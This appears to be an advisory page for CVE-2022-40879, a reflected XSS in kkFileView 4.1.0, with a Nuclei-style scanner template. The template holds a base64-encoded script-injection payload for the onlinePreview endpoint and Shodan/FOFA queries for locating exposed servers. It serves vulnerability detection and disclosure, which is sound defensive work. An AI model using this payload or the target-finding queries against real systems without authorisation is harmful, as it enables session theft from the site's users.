CVE-2022-40879: kkFileView 4.1.0 - Cross-Site Scripting

2025-08-01 kkFileView 4.1.0 PoC Public

Description

kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the errorMsg parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2022-40879

info:
  name: kkFileView 4.1.0 - Cross-Site Scripting
  author: arafatansari,co5mos
  severity: medium
  description: |
    kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the errorMsg parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of kkFileView or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/389
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40879
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-40879
    cwe-id: CWE-79
    epss-score: 0.01199
    epss-percentile: 0.66571
    cpe: cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: keking
    product: kkfileview
    shodan-query:
      - http.html:"kkFileView"
      - http.html:"kkfileview"
    fofa-query:
      - body="kkfileview"
      - app="kkfileview"
  tags: cve,cve2022,kkFileView,xss,keking,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/onlinePreview?url=aHR0cHM6Ly93d3cuZ29vZ2xlLjxpbWcgc3JjPTEgb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPj1QUQ=="

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=1 onerror=alert(document.domain)>=PQ</p>'
          - '该文件不'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cd1687a035f99c6a4dc4541a79faab3794a8313a0dd199851493803a8a37a020022100d10c1b7d6342a0f5d7c54b942bf2662af057144d76ec9a0d650fb8024492bebf:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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